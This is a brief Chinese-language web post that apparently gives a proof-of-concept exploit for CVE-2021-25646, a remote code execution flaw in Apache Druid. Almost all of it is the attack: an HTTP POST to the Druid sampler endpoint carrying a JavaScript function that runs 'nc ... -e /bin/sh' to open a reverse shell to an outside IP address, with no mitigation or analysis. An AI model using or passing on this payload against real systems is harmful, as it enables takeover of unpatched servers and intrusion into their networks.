# CVE-2021-25646 Apache Druid JavaScript RCE漏洞
==POC==
POST /druid/indexer/v1/sampler HTTP/1.1
...
...
{"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.1.10 5555 -e /bin/sh')}"
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
请登录后查看评论内容